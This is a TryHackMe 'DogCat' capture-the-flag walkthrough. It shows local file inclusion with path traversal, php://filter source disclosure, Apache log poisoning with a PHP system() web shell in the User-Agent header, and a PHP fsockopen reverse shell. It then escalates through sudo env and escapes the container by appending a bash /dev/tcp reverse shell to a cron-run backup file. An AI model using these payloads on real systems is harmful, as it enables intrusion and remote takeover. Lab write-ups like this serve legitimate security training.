DogCat | TryHackMe Walkthrough 🚀🔥

Hello Friends

We are Solving DogCat CTF

Room:- https://tryhackme.com/room/dogcat

Without wasting time Lets start 🚀

1. Nmap Scan

You See 2 port open SSH 22 & HTTP 80

See HTTP web

try to find Directory usibg gobuster but Nothing theire

http://10.10.10.10/?view=dog

Local File Inclusion.

http://10.10.10.10/?view=../../../../etc/passwd

PHP Wraper Seach on Google for more info

Payloadallthething

http://10.10.10.10/?view=php://filter/convert.base64-encode/resource=dog

you Get Base64 string Decode this using CyberChef

http://10.10.10.10/?view=php://filter/convert.base64-encode/resource=dog/../index

you Get Base64 string Decode this using CyberChef You see Source Code

Theire is “php” Extention by defualt until you change it to “ext”

To escape the extension, we will add a parameter as shown in the image below. Now when we try to read the /etc/passwd file, it is directly accessible. We have successfully exploited the Local File Inclusion.

http://10.10.10.10/?view=dog/../../../../etc/passwd&ext=

you will able to see etc/passwd content

Apache Log Poisoning Through LFI

BURP Suite Repeter

http://10.10.10.10/?view=dog/../../../../var/log/apache2/access.log&ext=

Genrate Reverse Shell

Start Listner

nc -lvnp 4444

BURP (Set this)

GET /?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=

User-Agent: <?php system($_GET[‘cmd’]);?>

Add Your Reverse Shell

GET /?view=dog/../../../. ./var/log/apache2/access.log&ext=&cmd=php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.10.10%22%2C4444%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

you get shell

tty

/bin/sh -I

sudo -l

No Password /usr/bin/env

gtfo bin = env = env /bin/sh

sudo /usr/bin/env /bin/sh

Your Root Now

cd /root/container

not work

But not get Flag4 because flag4 not on this machine flag4 on HOST machine

try to Access Host machine using Docker

cd /opt

ls = backup.tar

crontab -e

Not Showing CronJob But if you “ls” again you see backup file write time change it means it is CronJob but it is on HOST Machine mounting this & not on Contener you need Host Machine access Now

ls -la

Your Root And able write backup.tar

echo “sh -i >& /dev/tcp/10.10.10.10/4444 0>&1” >> backup.tar

nc -lvnp 4444

you get shell After 1 Min

try

cd /root/container

= work

ls cd backup ls

See mounted backup cron

cd /root

cat flag4.txt

— — — — — — — — — — — — — — — — — — — — — — — —

If you want more Content about Cybersecurity and Penetration Testing Then don’t Forgot To Follow Us

SHARE & SUPPORT ⚡️✅ ❤️